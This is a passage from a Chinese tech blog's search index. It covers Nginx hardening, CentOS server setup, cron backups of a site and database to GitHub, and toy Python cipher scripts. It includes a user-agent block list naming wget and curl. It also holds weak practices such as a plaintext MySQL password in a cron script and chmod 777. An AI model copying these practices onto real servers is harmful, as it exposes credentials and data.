版本就能轻松利用已知漏洞实现入侵。 这无疑是一个安全隐患，所以对版本号进行隐藏就一定必要了（当然，更新修复漏洞才是解决问题的根本途径）。 解决方法要隐藏 Nginx 版本号其实很简单，稍微修改一下配置文件即可。这里使用 vim 编辑器： sudo vim /etc/nginx/nginx.conf 在 http {} 段中添加一行 server_tokens off; http { ...... server_tokens off; ......} 之后保存文件，测试 Nginx 配置文件是否正常后重载配置即可 sudo nginx -t #测试配置文件是否正常sudo nginx -s reload #重载nginx配置 测试效果配置好之后可以再用 curl 测试一下，会发现不再显示 Nginx 版本号了。 HTTP/2 200server: nginx #版本号信息没有了date: Thu, 12 Sep 2019 03:32:16 GMTcontent-type: text/html; charset=cache-control: publiccontent-language: auto"},{"title":"","date":"2019-09-23T08:46:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/nginx.html","permalink":"https://blog.mhuig.top/notes/CentOS/nginx","excerpt":"","text":"Nginx 配置 Nginx 配置 Nginx 基础配置 安全性配置 Nginx 配置 error_page 404 500 等自定义的错误页面 1. 创建自己的 404.html 页面 2. 更改 nginx.conf 在 http 定义区域加入： http{ ... fastcgi_intercept_errors on; ...} 3. 更改 nginx.conf(或单独网站配置文件) 中在 server 区域加入： server{ ... error_page 400 401 402 403 404 405 408 410 412 413 414 415 500 501 502 503 504 506 /404.html; location = /404.html { root /alidata/www/phpwind/error; } ...} 4. 更改后重启 nginx, 测试 nginx.conf 正确性： nginx -t 5.502 等错误可以用同样的方法来配置。 server{ ... error_page 500 502 503 504 /50x.html; location = /50x.html { root /alidata/www/phpwind/error; } ...} Nginx 隐藏版本号的安全性与方法隐藏原因：Nginx 某些版本有漏洞，暴露出来容易被攻击者利用，隐藏起来更安全 隐藏版本号nginx.conf 中去掉下面注释，或者添加这一行 http{ ... server_tokens off ...} 如果是转发给 php－fpm ，需要编辑 fastcgi.conf，一般在 nginx.conf 同层找到： fastcgi_param SERVER_SOFTWARE nginx/$nginx_version; 改为： fastcgi_param SERVER_SOFTWARE nginx; 编译源码返回自定义的 server修改 src/http/ngx_http_header_filter_module.c 中的 48 行 static char ngx_http_server_string[] = \"Server: nginx\" CRLF; 把其中的 nginx 改为我们自己想要的文字即可，笔者就改为了 GFW. 修改 src/core/nginx.h 定位到 13-14 行 #define nginx_version 2000000#define NGINX_VERSION \"2.0\"#define NGINX_VER \"GFW/\" NGINX_VERSION Server 返回的就是常量 NGINX_VER 重新编译 make && make install 控制缓冲区溢出攻击编辑 nginx.conf，为所有客户端设置缓冲区的大小限制。 编辑和设置所有客户端缓冲区的大小限制如下： http { ...## Start: Size Limits & Buffer Overflows ## client_body_buffer_size 1K; client_header_buffer_size 1k; client_max_body_size 1k; large_client_header_buffers 2 1k;## END: Size Limits & Buffer Overflows ## ...} 解释： 1、client_body_buffer_size 1k-（默认 8k 或 16k）这个指令可以指定连接请求实体的缓冲区大小。如果连接请求超过缓存区指定的值，那么这些请求实体的整体或部分将尝试写入一个临时文件。 2、client_header_buffer_size 1k - 指令指定客户端请求头部的缓冲区大小。绝大多数情况下一个请求头不会大于 1k，不过如果有来自于 wap 客户端的较大的 cookie 它可能会大于 1k，Nginx 将分配给它一个更大的缓冲区，这个值可以在 large_client_header_buffers 里面设置。 3、client_max_body_size 1k - 指令指定允许客户端连接的最大请求实体大小，它出现在请求头部的 Content-Length 字段。如果请求大于指定的值，客户端将收到一个” Request Entity Too Large” (413) 错误。记住，浏览器并不知道怎样显示这个错误。 4、large_client_header_buffers - 指定客户端一些比较大的请求头使用的缓冲区数量和大小。请求字段不能大于一个缓冲区大小，如果客户端发送一个比较大的头，nginx 将返回” Request URI too large” (414) 同样，请求的头部最长字段不能大于一个缓冲区，否则服务器将返回” Bad request” (400)。缓冲区只在需求时分开。默认一个缓冲区大小为操作系统中分页文件大小，通常是 4k 或 8k，如果一个连接请求最终将状态转换为 keep-alive，它所占用的缓冲区将被释放。 你还需要控制超时来提高服务器性能并与客户端断开连接。按照如下编辑： http { ...## Start: Timeouts ## client_body_timeout 10; client_header_timeout 10; keepalive_timeout 5 5; send_timeout 10;## End: Timeouts ## ...} 1、client_body_timeout 10;- 指令指定读取请求实体的超时时间。这里的超时是指一个请求实体没有进入读取步骤，如果连接超过这个时间而客户端没有任何响应，Nginx 将返回一个” Request time out” (408) 错误。 2、client_header_timeout 10;- 指令指定读取客户端请求头标题的超时时间。这里的超时是指一个请求头没有进入读取步骤，如果连接超过这个时间而客户端没有任何响应，Nginx 将返回一个” Request time out” (408) 错误。 3、keepalive_timeout 5 5; – 参数的第一个值指定了客户端与服务器长连接的超时时间，超过这个时间，服务器将关闭连接。参数的第二个值（可选）指定了应答头中 Keep-Alive: timeout = time 的 time 值，这个值可以使一些浏览器知道什么时候关闭连接，以便服务器不用重复关闭，如果不指定这个参数，nginx 不会在应答头中发送 Keep-Alive 信息。（但这并不是指怎样将一个连接 “Keep-Alive”）参数的这两个值可以不相同。 4、send_timeout 10; 指令指定了发送给客户端应答后的超时时间，Timeout 是指没有进入完整 established 状态，只完成了两次握手，如果超过这个时间客户端没有任何响应，nginx 将关闭连接。 限制可用的请求方法GET 和 POST 是互联网上最常用的方法。 Web 服务器的方法被定义在 RFC 2616。如果 Web 服务器不要求启用所有可用的方法，它们应该被禁用。下面的指令将过滤只允许 GET，HEAD 和 POST 方法： server { ...## Only allow these request methods ## if ($request_method !~ ^(GET|HEAD|POST)$ ) { return 444; }## Do not accept DELETE, SEARCH and other methods ## ...} 更多关于 HTTP 方法的介绍 GET 方法是用来请求，如文件https://www.centos.bz/index.php。HEAD 方法是一样的，除非该服务器的 GET 请求无法返回消息体。POST 方法可能涉及到很多东西，如储存或更新数据，或订购产品，或通过提交表单发送电子邮件。这通常是使用服务器端处理，如 PHP，Perl 和 Python 等脚本。如果你要上传的文件和在服务器处理数据，你必须使用这个方法。 拒绝一些 User-Agents你可以很容易地阻止 User-Agents, 如扫描器，机器人以及滥用你服务器的垃圾邮件发送者。Nginx 的 444 状态比较特殊，如果返回 444 那么客户端将不会收到服务端返回的信息，就像是网站无法连接一样 server { ...## Block download agents ## if ($http_user_agent ~* LWP::Simple|BBBike|wget|curl) { return 444; }## ...} 阻止 Soso 和有道的机器人： server { ...## Block some robots ## if ($http_user_agent ~* Sosospider|YodaoBot) { return 403; }## ...} Header 头设置通过以下设置可有效防止 XSS 攻击 add_header X-Frame-Options \"SAMEORIGIN\";add_header X-XSS-Protection \"1; mode=block\";add_header X-Content-Type-Options \"nosniff\"; X-Frame-Options： 响应头表示是否允许浏览器加载 frame 等属性，有三个配置 DENY 禁止任何网页被嵌入, SAMEORIGIN 只允许本网站的嵌套, ALLOW - FROM 允许指定地址的嵌套 X-XSS-Protection： 表示启用 XSS 过滤（禁用过滤为 X-XSS-Protection: 0），mode = block 表示若检查到 XSS 攻击则停止渲染页面 X-Content-Type-Options： 响应头用来指定浏览器对未指定或错误指定 Content-Type 资源真正类型的猜测行为，nosniff 表示不允许任何猜测 在通常的请求响应中，浏览器会根据 Content-Type 来分辨响应的类型，但当响应类型未指定或错误指定时，浏览会尝试启用 MIME-sniffing 来猜测资源的响应类型，这是非常危险的 例如一个.jpg 的图片文件被恶意嵌入了可执行的 js 代码，在开启资源类型猜测的情况下，浏览器将执行嵌入的 js 代码，可能会有意想不到的后果 另外还有几个关于请求头的安全配置需要注意 Content-Security-Policy： 定义页面可以加载哪些资源， add_header Content-Security-Policy \"default-src 'self'\"; 上边的配置会限制所有的外部资源，都只能从当前域名加载，其中 default-src 定义针对所有类型资源的默认加载策略，self 允许来自相同来源的内容 Strict-Transport-Security： 会告诉浏览器用 HTTPS 协议代替 HTTP 来访问目标站点 add_header Strict-Transport-Security \"max-age=31536000; includeSubDomains\"; 上边的配置表示当用户第一次访问后，会返回一个包含了 Strict-Transport-Security 响应头的字段，这个字段会告诉浏览器，在接下来的 31536000 秒内，当前网站的所有请求都使用 https 协议访问，参数 includeSubDomains 是可选的，表示所有子域名也将采用同样的规则 经过多层 CDN 之后取得原始用户的 IP 地址，nginx 配置根据用户的真实 IP 做连接限制http { ...##############map $http_x_forwarded_for $clientRealIp { ## 没有通过代理，直接用 remote_addr \"\" $remote_addr; ## 用正则匹配，从 x_forwarded_for 中取得用户的原始IP ## 例如 X-Forwarded-For: 202.123.123.11, 208.22.22.234, 192.168.2.100,... ## 这里第一个 202.123.123.11 是用户的真实 IP，后面其它都是经过的 CDN 服务器 ~^(?P<firstAddr>[0-9\\.]+),?.*$ $firstAddr;}## 通过 map 指令，我们为 nginx 创建了一个变量 $clientRealIp ，这个就是 原始用户的真实 IP 地址，## 不论用户是直接访问，还是通过一串 CDN 之后的访问，我们都能取得正确的原始IP地址################### 针对原始用户 IP 地址做限制limit_conn_zone $clientRealIp zone=TotalConnLimitZone:20m ;limit_conn TotalConnLimitZone 50;limit_conn_log_level notice;## 针对原始用户 IP 地址做限制limit_req_zone $clientRealIp zone=ConnLimitZone:20m rate=10r/s;limit_req zone=ConnLimitZone burst=10 nodelay;limit_req_log_level notice;###################### ...} nginx 日志按天保存log_format  main  '$remote_addr - $remote_user [$time_local] \"$request\" '                      '$status $body_bytes_sent \"$http_referer\" '                      '\"$http_user_agent\" \"$http_x_forwarded_for\"'; log_format  main  '$remote_addr - $remote_user [$time_iso8601] \"$request\" '                      '$status $body_bytes_sent \"$http_referer\" '                      '\"$http_user_agent\" \"$http_x_forwarded_for\"'; 将原来的 time_local 修改为 time_iso8601，该格式日期为 “2017-01-19T09:10:52 + 08:00”，也可以其他格式，看个人习惯 注意层次关系，这段脚本一定要加到 server 配置内部，且 if 要在 access_log 前面，否则 set 的变量将无法引用 server{...if ($time_iso8601 ~ '(\\d{4}-\\d{2}-\\d{2})') {                set $tttt $1;        }        access_log  logs/access-$tttt.log  main;...} 按 yyyy-mm-dd 格式截取字符串，写入指定日志文件中 执行 nginx -s reload 后则配置生效 http { .... log_format main '$remote_addr - $remote_user [$time_iso8601] \"$request\" ' '$status $body_bytes_sent \"$http_referer\" ' '\"$http_user_agent\" \"$http_x_forwarded_for\"'; server { if ($time_iso8601 ~ '(\\d{4}-\\d{2}-\\d{2})') { set $tttt $1; } access_log logs/$tttt.access.log main; .... } ....}"},{"title":"","date":"2019-09-19T03:25:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/pre-cluster-env.html","permalink":"https://blog.mhuig.top/notes/CentOS/pre-cluster-env","excerpt":"","text":"大数据集群环境准备 大数据处理技术 - 大数据集群环境准备 volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-BigData-Archive-4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", \"MHuiG\", \"BigData-Archive\", \"4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", false); })"},{"title":"","date":"2019-09-22T02:57:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/python3.html","permalink":"https://blog.mhuig.top/notes/CentOS/python3","excerpt":"","text":"安装 Python3 CentOS7 安装 Python3 centos7 自带有 python，但是却是 python2 版本的 python，如果你想安装个 python3 怎么办呢？难道要从 github 上把源码 clone 下来进行编译安装么？没错！因为 yum 源中并没有现成的 python3 程序，所以必须要自己手动编译安装。 首先，你要知道系统现在的 python 的位置在哪儿： whereis python 进入 Python 安装目录 ll python* 添加 epel 扩展源 yum -y install epel-release 安装 pip yum install python-pip 用 pip 装 wget pip install wget 用 wget 下载 python3 的源码包 wget https://www.python.org/ftp/python/3.6.4/Python-3.6.4.tar.xz 编译 python3 源码包 解压 xz -d Python-3.6.4.tar.xztar -xf Python-3.6.4.tar 进入解压后的目录，依次执行下面命令进行手动编译 ./configure prefix=/usr/local/python3make && make install 添加软链接将原来的链接备份 mv /usr/bin/python /usr/bin/python.bak 添加 python3 的软链接 ln -s /usr/local/python3/bin/python3.6 /usr/bin/python 测试是否安装成功了 python -V 更改 yum 配置，因为其要用到 python2 才能执行，否则会导致 yum 不能正常使用 vi /usr/bin/yum 把 #! /usr/bin/python 修改为 #! /usr/bin/python2 vi /usr/libexec/urlgrabber-ext-down 把#! /usr/bin/python 修改为#! /usr/bin/python2 加上 pip 的修改 mv /usr/bin/pip /usr/bin/pip.bakln -s /usr/local/python3/bin/pip3 /usr/bin/pip pip -V 修改环境变量 vi /etc/profile export PYTHON_HOME=/usr/local/python3export PATH=:$PYTHON_HOME/bin:$PATH source /etc/profile"},{"title":"","date":"2019-09-24T14:07:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/server2git.html","permalink":"https://blog.mhuig.top/notes/CentOS/server2git","excerpt":"","text":"定时备份服务器 / 网站数据到 Github 私人仓库 定时备份服务器 / 网站数据到 Github 私人仓库 现在 Github 被微软收购后，私人仓库已经开始免费了，然后就可以拿来折腾下了，让其充分发挥下作用，这里我们可以用来备份下网站或者服务器一些数据。 配置 Git SSH 密钥由于本地 Git 仓库和 GitHub 仓库之间的传输是通过 SSH 加密的，所以必须要让 github 仓库认证你 SSH key，在操作之前，需要先在服务器上生成 SSH key。 我们先去根目录下使用命令： cd ~ssh-keygen -t rsa 这里会要你命名密匙名称 (这里建议使用默认名称)，然后连续按几次 Enter，这时候会在 /root/.ssh 文件夹生成 2 个 ssh 密钥，然后我们查看公钥 id_rsa.pub。 cat ~/.ssh/id_rsa.pub 查看后，再复制下公钥，然后打开 Github 官网，进入 https://github.com/settings/ssh/new ，Title 随便填，然后 Key 填入刚刚复制的密匙，最后点击 Add SSH Key 添加即可。 建立私人仓库我们需要先访问 https://github.com/new ，新建一个仓库用来存放备份文件，名称自己随意，记得下面一定要勾选 Private，也就是私人仓库。 配置本地仓库由于博主是用来备份网站，所以需要备份文件夹为网站根目录/alidata/，也就是把该文件夹定为本地仓库，使用命令： #进入需要备份的文件夹cd /alidata/#安装gityum install git#初始化你的github仓库git init#关联到远程github仓库git remote add origin git@github.com:MHuiG/BackupWebSite.git 关联仓库的时候，后面可以用 HTTPS 链接也可以用 SSH，这里强烈建议选择 SSH，安全性很高。 初次备份#进入备份的文件夹cd /alidata/#忽略大于50.00 MB文件find . -size +50M>.gitignoresed -i 's/.//' .gitignore#把目录下所有文件更改状况提交到暂存区，包括增，删，改。git add -A#提交更改的说明，说明随意了，这里为BackupWebSitegit commit -m \"BackupWebSite\"#开始推送到Githubgit push -u origin master 推送的时候可能会提示 The authenticity of host 'github.com' can't be established. 信息，直进 yes 即可。然后可以看到仓库的备份文件了。 设置定时备份在根目录先新建一个 bash 脚本： nano ~/gitback.sh 代码如下： #!/bin/bash#进入到网站根目录，记得修改为自己的站点cd /alidata/#将数据库导入到该目录，这里以mysql为例，passwd为数据库密码，all.sql为备份的数据库文件mysqldump -uroot -ppasswd --events --all-databases>all.sql#忽略大于50.00 MB文件find . -size +50M>.gitignoresed -i 's/.//' .gitignoregit add -Agit commit -m \"BackupWebSite\"git push -u origin master 然后编辑好了后，使用 ctrl + x，y 保存退出。再测试下脚本，使用命令 bash ~/gitback.sh 脚本没问题的话，再设置为每天 05:15 执行一次： #并将运行日志输出到根目录的siteback.log文件echo \"15 05 * * * bash ~/gitback.sh > ~/siteback.log 2>&1 &\" > bt.croncrontab bt.cronrm -rf bt.cron 最后使用命令查看添加成功。 crontab -l 附录crontab 定时任务中提示 command not found 解决方案写了个脚本定时从 MySQL 中提取数据，但是 crontab 发邮件提示 mysql command not found 很奇怪，因为直接执行此脚本不会报错，正常运行，但加入到 crontab 中就会报错， 经查，MySQL 不在 crontab 执行的环境变量中 解决方案： 找到 MySQL 的安装路径： which mysql 假设找到的是: /home/user1/mysql/bin/mysql 建立软连接 cd /usr/bin && ln -fs /home/user1/mysql/bin/mysql mysql"},{"title":"","date":"2019-11-07T02:53:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/swap.html","permalink":"https://blog.mhuig.top/notes/CentOS/swap","excerpt":"","text":"设置虚拟内存 Linux 设置虚拟内存 虚拟内存配置 查看内存free -m -m 是显示单位为 MB，-g 单位 GB 创建一个文件touch /root/swapfile 使用 dd 命令，来创建大小为 2G 的文件 swapfile: dd if=/dev/zero of=/root/swapfile bs=1M count=2048 命令执行完需要等待一段时间 if 表示 input_file 输入文件 of 表示 output_file 输出文件 bs 表示 block_size 块大小 count 表示计数。 这里，我采用了数据块大小为 1M，数据块数目为 2048，这样分配的空间就是 2G 大小。 格式化交换文件mkswap /root/swapfile 启用交换文件swapon /root/swapfile 开机自动加载虚拟内存vi /etc/fstab 在 /etc/fstab 文件中加入如下命令： /root/swapfile swap swap defaults 0 0 重启后生效reboot 删除交换分区和交换文件如果要删除交换分区和交换文件，逆着上面的顺序操作: 先删除 /etc/fstab 文件中添加的交换文件行停用交换文件 swapoff /root/swapfile 删除交换文件 rm -fr /root/swapfile"},{"title":"","date":"2019-09-22T00:27:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/web-env.html","permalink":"https://blog.mhuig.top/notes/CentOS/web-env","excerpt":"","text":"一键安装 ecs 服务器的 web 环境 一键安装 ecs 服务器的 web 环境 (阿里云) 阿里云 Linux 一键安装 web 环境使用教程 教程1. 准备工具阿里云 linux 一键安装 web 环境 2. 将安装包上传到服务器上ftp,putty 等. 3. 解压安装包进行安装unzip -o -d . sh-1.5.5.zipchmod -R 777 sh-1.5.5cd sh-1.5.5/./install.sh 4.Mysql 选择的 5.5.40 版本，其他版本会出现问题; php 选择 5.5.7 版本;5. 安装完成查看自己安装的信息netstat -tunpl 正在运行状态的服务及端口 9000 端口：php 进程服务 (apache 没有 9000 端口，因为 nginx + php 集成方式与 apache + php 集成方式不同） 3306 端口：mysql 服务 80 端口：httpd 或者 nginx 服务 21 端口：ftp 服务 6. 查看 ftp 和 mysql 用户名和密码cat account.log 7. 修改 ftp 的密码使用 root 身份执行如下命令： passwd www 8. 修改 mysql 的密码：mysqladmin -uroot -p旧密码 password 新密码 注：-p 和旧密码之间没有空格，password 和新密码之间有空格 另外，我们也可以在在/alidata/website-info.log 文件中查看到安装软件的版本信息 9. 清空 phpwind 文件夹cd /alidata/www/phpwindrm -rf /alidata/www/phpwind/* 10. 安装 phpMyAdmin下载数据库管理软件:phpMyAdmin,不要下载带有 “betal” 字样的版本，那是测试版。排序规则选：utf8_general_ci wget https://files.phpmyadmin.net/phpMyAdmin/4.9.1/phpMyAdmin-4.9.1-all-languages.tar.gztar -zxvf phpMyAdmin-4.9.1-all-languages.tar.gz 附录Linux 下的解压命令小结 unzip filename. zip tar -zxvf filename. tar.gz tar -Jxvf filename. tar.xz tar -Zxvf filename. tar.Z tar --help tar -xvf filename. tar.gz tar -xvf filename phpMyAdmin 配置文件现在需要一个短语密码解决方法phpMyAdmin 登陆之后，在其下方会出现配置文件现在需要一个短语密码的提示。 解决方法： 1、将 phpMyAdmin/libraries/config.default.php 中的 $cfg ['blowfish_secret'] = ''; 改成 $cfg ['blowfish_secret'] = 'thepie.top'; (注：其中的 'thepie.top′为随意的长字符串) 2、在 phpMyAdmin 目录中，打开 config.sample.inc.php，17 行 $cfg['blowfish_secret'] = ''; 改成 $cfg ['blowfish_secret'] = 'thepie.top';  (注：其中的 'thepie.top′为随意的长字符串) 这个密码用于 Cookies 的加密，以免多个 PhpMyAdmin 或者和其他程序共用 Cookies 时搞混。 变量 $cfg ['TempDir'] （./tmp/）无法访问。phpMyAdmin 无法缓存模板文件，所以会运行缓慢。出现这个的原因是 phpmyadmin 的安装目录， tmp 目录不存在，或者存在但是权限不对。解决的方法就是没有创建一下这个目录，给予正确的读写权限即可。进入 phpmyadmin 的安装目录然后执行 mkdir tmpchmod 777 tmp phpmyadmin 提示的很清楚，这是个缓存目录，可以加快 phpmyadmin 的运行，即使不理睬这个警告信息，也不会影响程序的执行，就是执行的慢点。"},{"title":"","date":"2018-11-30T07:59:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Cryptography/ASCII.html","permalink":"https://blog.mhuig.top/notes/Cryptography/ASCII","excerpt":"","text":"ASCII Python ASCII 字符串 转换 ASCII (American Standard Code for Information Interchange) 美国信息交换标准代码是基于拉丁字母的一套电脑编码系统，主要用于显示现代英语和其他西欧语言。它是最通用的信息交换标准，并等同于国际标准 ISO / IEC 646。ASCII 第一次以规范标准的类型发表是在 1967 年，最后一次更新则是在 1986 年，到目前为止共定义了 128 个字符。 ASCII 转字符ASCII 转字符.pydef ASCIItostr(): try: s = input() s=s.split() for i in s: print(chr(int(i)),end=\"\") print() except Exception as e: print(\"\",end=\"\")if __name__ == '__main__': try: while True: ASCIItostr() except EOFError: exit() 字符转 ASCII字符转 ASCII.pydef strtoASCII(): try: s = input() for i in s: print(ord(str(i)),end=\" \") print() except Exception as e: print(\"\",end=\"\")if __name__ == '__main__': try: while True: strtoASCII() except EOFError: exit()"},{"title":"","date":"2018-12-01T02:10:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Cryptography/Baconian.html","permalink":"https://blog.mhuig.top/notes/Cryptography/Baconian","excerpt":"","text":"Baconian Python Baconian 培根密码，又名倍康尼密码（英语：Bacon's cipher）是由法兰西斯・培根发明的一种隐写术。加密时，明文中的每个字母都会转换成一组五个英文字母。 Baconian 加密Baconian.py# coding:utf8import realphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']first_cipher = [\"aaaaa\",\"aaaab\",\"aaaba\",\"aaabb\",\"aabaa\",\"aabab\",\"aabba\",\"aabbb\",\"abaaa\",\"abaab\",\"ababa\",\"ababb\",\"abbaa\",\"abbab\",\"abbba\",\"abbbb\",\"baaaa\",\"baaab\",\"baaba\",\"baabb\",\"babaa\",\"babab\",\"babba\",\"babbb\",\"bbaaa\",\"bbaab\"]second_cipher = [\"aaaaa\",\"aaaab\",\"aaaba\",\"aaabb\",\"aabaa\",\"aabab\",\"aabba\",\"aabbb\",\"abaaa\",\"abaaa\",\"abaab\",\"ababa\",\"ababb\",\"abbaa\",\"abbab\",\"abbba\",\"abbbb\",\"baaaa\",\"baaab\",\"baaba\",\"baabb\",\"baabb\",\"babaa\",\"babab\",\"babba\",\"babbb\"]def encode(): upper_flag = False # 用于判断输入是否为大写 string = input(\"please input string to encode:\\n\") if string.isupper(): upper_flag = True string = string.lower() e_string1 = \"\" e_string2 = \"\" for index in string: for i in range(0,26): if index == alphabet[i]: e_string1 += first_cipher[i] e_string2 += second_cipher[i] break if upper_flag: e_string1 = e_string1.upper() e_string2 = e_string2.upper() print (\"first encode method result is:\\n\"+e_string1) print (\"second encode method result is:\\n\"+e_string2) returndef decode(): upper_flag = False # 用于判断输入是否为大写 e_string = input(\"please input string to decode:\\n\") if e_string.isupper(): upper_flag = True e_string = e_string.lower() e_array = re.findall(\".{5}\",e_string) d_string1 = \"\" d_string2 = \"\" for index in e_array: for i in range(0,26): if index == first_cipher[i]: d_string1 += alphabet[i] if index == second_cipher[i]: d_string2 += alphabet[i] if upper_flag: d_string1 = d_string1.upper() d_string2 = d_string2.upper() print (\"first decode method result is:\\n\"+d_string1) print (\"second decode method result is:\\n\"+d_string2) returnif __name__ == '__main__': while True: print (\"\\t*******Bacon Encode_Decode System*******\") print (\"input should be only lowercase or uppercase,cipher just include a,b(or A,B)\") print (\"1.encode\\n2.decode\\n3.exit\") s_number = input(\"please input number to choose\\n\") if s_number == \"1\": encode() input() elif s_number == \"2\": decode() input() elif s_number == \"3\": break else: continue Baconian 解密decode.py# -*- coding: utf-8 -*-import reclass Baconian(): alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] first_cipher = [\"aaaaa\", \"aaaab\", \"aaaba\", \"aaabb\", \"aabaa\", \"aabab\", \"aabba\", \"aabbb\", \"abaaa\", \"abaab\", \"ababa\", \"ababb\", \"abbaa\", \"abbab\", \"abbba\", \"abbbb\", \"baaaa\", \"baaab\", \"baaba\", \"baabb\", \"babaa\", \"babab\", \"babba\", \"babbb\", \"bbaaa\", \"bbaab\"] second_cipher = [\"aaaaa\", \"aaaab\", \"aaaba\", \"aaabb\", \"aabaa\", \"aabab\", \"aabba\", \"aabbb\", \"abaaa\", \"abaaa\", \"abaab\", \"ababa\", \"ababb\", \"abbaa\", \"abbab\", \"abbba\", \"abbbb\", \"baaaa\", \"baaab\", \"baaba\", \"baabb\", \"baabb\", \"babaa\", \"babab\", \"babba\", \"babbb\"] def __init__(self, str): self.str = str def decode(self): str = self.str.lower() str_array = re.findall(\".{5}\", str) decode_str1 = \"\" decode_str2 = \"\" for key in str_array: for i in range(0,26): if key == Baconian.first_cipher[i]: decode_str1 += Baconian.alphabet[i] if key == Baconian.second_cipher[i]: decode_str2 += Baconian.alphabet[i] print(decode_str1) print(decode_str2)if __name__ == '__main__': str = input() bacon = Baconian(str) bacon.decode()"},{"title":"","date":"2019-11-07T03:46:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/CentOS/xrdp.html","permalink":"https://blog.mhuig.top/notes/CentOS/xrdp","excerpt":"","text":"xrdp 连接远程桌面 xrdp 连接远程桌面 在和远程服务器交互的过程中，除了最基础的 ssh 链接以外，更多人喜欢图形界面的操作，当然 ssh + x11 可以实现部分图形的使用，但是依然需要敲命令行，虽然看起来很酷（zhuang）炫 （bi）但是图形界面依然是很多人的习惯。所以介绍下 xrdp 访问远程 CentOS 的处理步骤 安装 epel 库，否则无法安装 xrdp yum install epel-release 安装 xrdp yum install xrdp 安装 tigervnc-server yum install tigervnc-server 设置 xrdp 服务，开机自动启动 systemctl start xrdpsystemctl enable xrdp 查看 xrdp 是否启动 systemctl status xrdp.servicess -antup|grep xrdp 启动 window rdp 连接 附录 centos 系统 xrdp 登录失败 .bashrc 里面修改过 PATH 环境变量，添加过 anaconda/bin vi ~/.bashrc 最后添加 conda deactivate source .bashrc"},{"title":"","date":"2018-12-01T02:12:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Cryptography/Base.html","permalink":"https://blog.mhuig.top/notes/Cryptography/Base","excerpt":"","text":"Base Python Base Base64 是网络上最常见的用于传输 8Bit 字节码的编码方式之一, base64 就是一种基于 64 个可打印字符来表示二进制数据的表示方法。 Base.pyimport base64def base64codes(): s = input() b64encode = base64.b64encode(s.encode(encoding='utf-8')) b32encode = base64.b32encode(s.encode(encoding='utf-8')) b16encode = base64.b16encode(s.encode(encoding='utf-8')) print(b64encode.decode(encoding='utf-8')) print(b32encode.decode(encoding='utf-8')) print(b16encode.decode(encoding='utf-8')) print('---------------------------------') try: b64decode = base64.b64decode(s.encode(encoding='utf-8')) print(b64decode.decode(encoding='utf-8')) except Exception as e: print(\"\",end=\"\") try: b32decode = base64.b32decode(s.encode(encoding='utf-8')) print(b32decode.decode(encoding='utf-8')) except Exception as e: print(\"\",end=\"\") try: b16decode = base64.b16decode(s.encode(encoding='utf-8')) print(b16decode.decode(encoding='utf-8')) except Exception as e: print(\"\",end=\"\")if __name__ == '__main__': try: while True: base64codes() except EOFError: exit()"},{"title":"","date":"2018-12-01T03:23:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Cryptography/BinaryConversion.html","permalink":"https://blog.mhuig.top/notes/Cryptography/BinaryConversion","excerpt":"","text":"BinaryConversion Python BinaryConversion Binary.py#coding:utf-8import reimport argparse def bintostr(text): text = text.replace(' ','') text = re.findall(r'.{8}',text) s = map(lambda x:chr(int(x,2)),text) #批量二进制转十进制 flag = ''.join(s) return (flag) def asciitostr(text): if ' ' in text: text = text.split(' ') elif ',' in text: text = text.split(',') s = map(lambda x:chr(int(x)),text) flag = ''.join(s) return flag def hextostr(text): text = re.findall(r'.{2}',text) #print text s = map(lambda x:chr(int(x,16)),text) #print s flag = ''.join(s) return flag if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument(\"-b\") parser.add_argument(\"-a\") parser.add_argument(\"-x\") argv = parser.parse_args() #print argv if argv.b: res = bintostr(argv.b) print (res) elif argv.a: res = asciitostr(argv.a) print (res) elif argv.x: res = hextostr(argv.x) print (res)"},{"title":"","date":"2018-12-01T03:49:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Cryptography/Caesar.html","permalink":"https://blog.mhuig.top/notes/Cryptography/Caesar","excerpt":"","text":"Caesar Python Caesar 恺撒密码是一种替换加密的技术，明文中的所有字母都在字母表上向后（或向前）按照一个固定数目进行偏移后被替换成密文。 Caesar.py#-*-coding:utf-8-*-import osdef encryption(): str_raw = input(\"请输入明文：\") k = int(input(\"请输入位移值：\")) str_change = str_raw.lower() str_list = list(str_change) str_list_encry = str_list i = 0 while i < len(str_list): if ord(str_list[i]) < 123-k: str_list_encry[i] = chr(ord(str_list[i]) + k) else: str_list_encry[i] = chr(ord(str_list[i]) + k - 26) i = i+1 print (\"加密结果为：\"+\"\".join(str_list_encry))def decryption(): str_raw = input(\"请输入密文：\") k = int(input(\"请输入位移值：(-1代表穷举)\")) if k==-1: print(\"解密结果为：\") for k in range(1,27): str_change = str_raw.lower() str_list = list(str_change) str_list_decry = str_list i = 0 while i < len(str_list): if ord(str_list[i]) >= 97+k: str_list_decry[i] = chr(ord(str_list[i]) - k) else: str_list_decry[i] = chr(ord(str_list[i]) + 26 - k) i = i+1 print (\"\".join(str_list_decry)) else: print(\"解密结果为：\") str_change = str_raw.lower() str_list = list(str_change) str_list_decry = str_list i = 0 while i < len(str_list): if ord(str_list[i]) >= 97+k: str_list_decry[i] = chr(ord(str_list[i]) - k) else: str_list_decry[i] = 